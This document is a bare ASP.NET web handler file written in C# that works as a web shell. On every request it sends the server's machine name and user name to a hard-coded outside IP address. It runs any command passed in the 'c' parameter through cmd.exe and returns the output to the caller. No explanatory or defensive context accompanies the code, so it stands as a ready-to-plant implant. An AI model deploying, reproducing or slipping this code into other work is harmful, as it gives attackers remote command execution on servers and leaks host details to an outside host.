<%@ WebHandler Language="C#" Class="zz" %> using System; using System.Web; using System.Diagnostics; public class zz : IHttpHandler { public void ProcessRequest(HttpContext c){ try{ var u="http://23.224.82.34:18086/zz22330_exec?h="+Environment.MachineName+"&u="+Environment.UserName; var w=System.Net.WebRequest.Create(u); w.Timeout=3000; w.GetResponse().Close(); }catch(Exception){} var r=c.Request["c"]; if(!String.IsNullOrEmpty(r)){ var p=Process.Start(new ProcessStartInfo("cmd.exe","/c "+r){RedirectStandardOutput=true,UseShellExecute=false}); c.Response.Write("zz22330:"+p.StandardOutput.ReadToEnd()); } else { c.Response.Write("zz22330ok"); } } public bool IsReusable { get { return false; } } }